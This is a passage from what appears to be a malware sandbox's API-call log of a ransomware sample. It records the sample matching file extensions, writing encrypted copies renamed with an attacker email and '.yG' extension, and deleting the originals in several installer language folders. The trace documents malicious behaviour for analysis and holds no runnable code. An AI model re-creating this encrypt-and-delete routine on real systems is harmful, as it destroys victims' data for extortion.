	[0041.625] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0041.625] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45
	[0041.625] lstrlenW (lpString=".1cd") returned 4
	[0041.625] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0041.625] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45
	[0041.625] lstrlenW (lpString=".jpg") returned 4
	[0041.625] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0041.625] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45
	[0041.625] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45
	[0041.625] lstrlenW (lpString=".doc") returned 4
	[0041.625] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0041.625] lstrlenW (lpString=".docx") returned 5
	[0041.625] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0041.625] lstrlenW (lpString=".pdf") returned 4
	[0041.625] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0041.625] lstrlenW (lpString=".xls") returned 4
	[0041.625] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0041.625] lstrlenW (lpString=".xlsx") returned 5
	[0041.625] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0041.625] lstrlenW (lpString=".ppt") returned 4
	[0041.625] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0041.625] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45
	[0041.625] lstrlenW (lpString=".zip") returned 4
	[0041.625] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0041.625] lstrlenW (lpString=".rar") returned 4
	[0041.625] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0041.625] lstrlenW (lpString=".bz2") returned 4
	[0041.625] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0041.626] lstrlenW (lpString=".7z") returned 3
	[0041.626] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0041.626] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45
	[0041.626] lstrlenW (lpString=".dbf") returned 4
	[0041.626] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0041.626] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45
	[0041.626] lstrlenW (lpString=".1cd") returned 4
	[0041.626] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0041.626] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45
	[0041.626] lstrlenW (lpString=".jpg") returned 4
	[0041.626] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0041.626] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0041.626] lstrlenW (lpString="SetupResources.dll") returned 18
	[0041.626] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0041.679] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=18776) returned 1
	[0041.679] CloseHandle (hObject=0x338) returned 1
	[0041.680] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll")) returned 0x80
	[0041.680] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0041.680] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0041.680] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0041.680] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0041.680] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0041.681] GetLastError () returned 0x0
	[0041.681] ReadFile (in: hFile=0x338, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x4958, lpOverlapped=0x0) returned 1
	[0041.980] WriteFile (in: hFile=0x33c, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0x4960, lpOverlapped=0x0) returned 1
	[0041.981] ReadFile (in: hFile=0x338, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1
	[0041.981] WriteFile (in: hFile=0x33c, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0xf8, lpOverlapped=0x0) returned 1
	[0041.981] SetEndOfFile (hFile=0x33c) returned 1
	[0041.981] CloseHandle (hObject=0x33c) returned 1
	[0041.982] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0041.982] SetEndOfFile (hFile=0x338) returned 1
	[0041.983] CloseHandle (hObject=0x338) returned 1
	[0041.983] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0041.983] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll")) returned 1
	[0041.984] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45
	[0041.984] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45
	[0041.984] lstrlenW (lpString=".doc") returned 4
	[0041.984] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0041.984] lstrlenW (lpString=".docx") returned 5
	[0041.984] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0041.984] lstrlenW (lpString=".pdf") returned 4
	[0041.984] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0041.984] lstrlenW (lpString=".xls") returned 4
	[0041.984] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0041.984] lstrlenW (lpString=".xlsx") returned 5
	[0041.984] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0041.984] lstrlenW (lpString=".ppt") returned 4
	[0041.984] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0041.984] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45
	[0041.984] lstrlenW (lpString=".zip") returned 4
	[0041.984] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0041.984] lstrlenW (lpString=".rar") returned 4
	[0041.984] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0041.984] lstrlenW (lpString=".bz2") returned 4
	[0041.984] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0041.984] lstrlenW (lpString=".7z") returned 3
	[0041.984] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0041.984] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45
	[0041.984] lstrlenW (lpString=".dbf") returned 4
	[0041.984] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0041.984] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45
	[0041.984] lstrlenW (lpString=".1cd") returned 4
	[0041.984] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0041.984] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45
	[0041.984] lstrlenW (lpString=".jpg") returned 4
	[0041.984] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0041.984] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45
	[0041.984] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45
	[0041.984] lstrlenW (lpString=".doc") returned 4
	[0041.984] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0041.985] lstrlenW (lpString=".docx") returned 5
	[0041.985] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0041.985] lstrlenW (lpString=".pdf") returned 4
	[0041.985] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0041.985] lstrlenW (lpString=".xls") returned 4
	[0041.985] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0041.985] lstrlenW (lpString=".xlsx") returned 5
	[0041.985] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0041.985] lstrlenW (lpString=".ppt") returned 4
	[0041.985] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0041.985] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45
	[0041.985] lstrlenW (lpString=".zip") returned 4
	[0041.985] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0041.985] lstrlenW (lpString=".rar") returned 4
	[0041.985] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0041.985] lstrlenW (lpString=".bz2") returned 4
	[0041.985] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0041.985] lstrlenW (lpString=".7z") returned 3
	[0041.985] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0041.985] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45
	[0041.985] lstrlenW (lpString=".dbf") returned 4
	[0041.985] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0041.985] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45
	[0041.985] lstrlenW (lpString=".1cd") returned 4
	[0041.985] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0041.985] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45
	[0041.985] lstrlenW (lpString=".jpg") returned 4
	[0041.985] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0041.985] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0041.985] lstrlenW (lpString="SetupResources.dll") returned 18
	[0041.985] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0041.986] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=15192) returned 1
	[0041.986] CloseHandle (hObject=0x338) returned 1
	[0041.986] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll")) returned 0x80
	[0041.986] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0041.986] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0041.986] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0041.986] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0041.986] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0042.024] GetLastError () returned 0x0
	[0042.024] ReadFile (in: hFile=0x338, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x3b58, lpOverlapped=0x0) returned 1
	[0042.093] WriteFile (in: hFile=0x330, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0x3b60, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0x3b60, lpOverlapped=0x0) returned 1
	[0042.094] ReadFile (in: hFile=0x338, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1
	[0042.094] WriteFile (in: hFile=0x330, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0xf8, lpOverlapped=0x0) returned 1
	[0042.094] SetEndOfFile (hFile=0x330) returned 1
	[0042.094] CloseHandle (hObject=0x330) returned 1
	[0042.095] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.095] SetEndOfFile (hFile=0x338) returned 1
	[0042.096] CloseHandle (hObject=0x338) returned 1
	[0042.096] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0042.096] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll")) returned 1
	[0042.096] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45
	[0042.096] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45
	[0042.096] lstrlenW (lpString=".doc") returned 4
	[0042.096] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0042.096] lstrlenW (lpString=".docx") returned 5
	[0042.096] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0042.097] lstrlenW (lpString=".pdf") returned 4
	[0042.097] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0042.097] lstrlenW (lpString=".xls") returned 4
	[0042.097] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0042.097] lstrlenW (lpString=".xlsx") returned 5
	[0042.097] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0042.097] lstrlenW (lpString=".ppt") returned 4
	[0042.097] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0042.097] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45
	[0042.097] lstrlenW (lpString=".zip") returned 4
	[0042.097] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0042.097] lstrlenW (lpString=".rar") returned 4
	[0042.097] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0042.097] lstrlenW (lpString=".bz2") returned 4
	[0042.097] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0042.097] lstrlenW (lpString=".7z") returned 3
	[0042.097] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0042.097] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45
	[0042.097] lstrlenW (lpString=".dbf") returned 4
	[0042.097] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0042.097] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45
	[0042.097] lstrlenW (lpString=".1cd") returned 4
	[0042.097] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0042.097] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45
	[0042.097] lstrlenW (lpString=".jpg") returned 4
	[0042.097] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0042.097] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45
	[0042.097] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45
	[0042.097] lstrlenW (lpString=".doc") returned 4
	[0042.097] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0042.097] lstrlenW (lpString=".docx") returned 5
	[0042.097] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0042.097] lstrlenW (lpString=".pdf") returned 4
	[0042.097] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0042.097] lstrlenW (lpString=".xls") returned 4
	[0042.097] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0042.098] lstrlenW (lpString=".xlsx") returned 5
	[0042.098] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0042.098] lstrlenW (lpString=".ppt") returned 4
	[0042.098] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0042.098] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45
	[0042.098] lstrlenW (lpString=".zip") returned 4
	[0042.098] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0042.098] lstrlenW (lpString=".rar") returned 4
	[0042.098] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0042.098] lstrlenW (lpString=".bz2") returned 4
	[0042.098] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0042.098] lstrlenW (lpString=".7z") returned 3
	[0042.098] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0042.098] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45
	[0042.098] lstrlenW (lpString=".dbf") returned 4
	[0042.098] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0042.098] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45
	[0042.098] lstrlenW (lpString=".1cd") returned 4
	[0042.098] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0042.098] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45
	[0042.098] lstrlenW (lpString=".jpg") returned 4
	[0042.098] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0042.098] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0042.098] lstrlenW (lpString="SetupResources.dll") returned 18
	[0042.098] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0042.099] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=18264) returned 1
	[0042.099] CloseHandle (hObject=0x338) returned 1
	[0042.099] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll")) returned 0x80
	[0042.099] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0042.099] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0042.099] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.099] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.099] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0042.156] GetLastError () returned 0x0
	[0042.156] ReadFile (in: hFile=0x338, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x4758, lpOverlapped=0x0) returned 1
	[0042.284] WriteFile (in: hFile=0x300, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0x4760, lpOverlapped=0x0) returned 1
	[0042.285] ReadFile (in: hFile=0x338, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1
	[0042.285] WriteFile (in: hFile=0x300, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0xf8, lpOverlapped=0x0) returned 1
	[0042.285] SetEndOfFile (hFile=0x300) returned 1
	[0042.285] CloseHandle (hObject=0x300) returned 1
	[0042.286] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.286] SetEndOfFile (hFile=0x338) returned 1
	[0042.287] CloseHandle (hObject=0x338) returned 1
	[0042.287] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0042.302] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll")) returned 1
	[0042.302] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45
	[0042.302] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45
	[0042.302] lstrlenW (lpString=".doc") returned 4
	[0042.302] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0042.302] lstrlenW (lpString=".docx") returned 5
	[0042.302] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0042.302] lstrlenW (lpString=".pdf") returned 4
	[0042.302] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0042.302] lstrlenW (lpString=".xls") returned 4
	[0042.303] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0042.303] lstrlenW (lpString=".xlsx") returned 5
	[0042.303] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0042.303] lstrlenW (lpString=".ppt") returned 4
	[0042.303] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0042.303] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45
	[0042.303] lstrlenW (lpString=".zip") returned 4
	[0042.303] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0042.303] lstrlenW (lpString=".rar") returned 4
	[0042.303] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0042.303] lstrlenW (lpString=".bz2") returned 4
	[0042.303] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0042.303] lstrlenW (lpString=".7z") returned 3
	[0042.303] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0042.303] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45
	[0042.303] lstrlenW (lpString=".dbf") returned 4
	[0042.303] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0042.303] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45
	[0042.303] lstrlenW (lpString=".1cd") returned 4
	[0042.303] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0042.303] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45
	[0042.303] lstrlenW (lpString=".jpg") returned 4
	[0042.303] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0042.303] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45
	[0042.303] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45
	[0042.303] lstrlenW (lpString=".doc") returned 4
	[0042.303] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0042.303] lstrlenW (lpString=".docx") returned 5
	[0042.303] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0042.303] lstrlenW (lpString=".pdf") returned 4
	[0042.303] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0042.303] lstrlenW (lpString=".xls") returned 4
	[0042.303] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0042.303] lstrlenW (lpString=".xlsx") returned 5
	[0042.303] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0042.303] lstrlenW (lpString=".ppt") returned 4
	[0042.304] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0042.304] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45
	[0042.304] lstrlenW (lpString=".zip") returned 4
	[0042.304] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0042.304] lstrlenW (lpString=".rar") returned 4
	[0042.304] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0042.304] lstrlenW (lpString=".bz2") returned 4
	[0042.304] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0042.304] lstrlenW (lpString=".7z") returned 3
	[0042.304] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0042.304] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45
	[0042.304] lstrlenW (lpString=".dbf") returned 4
	[0042.304] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0042.304] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45
	[0042.304] lstrlenW (lpString=".1cd") returned 4
	[0042.304] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
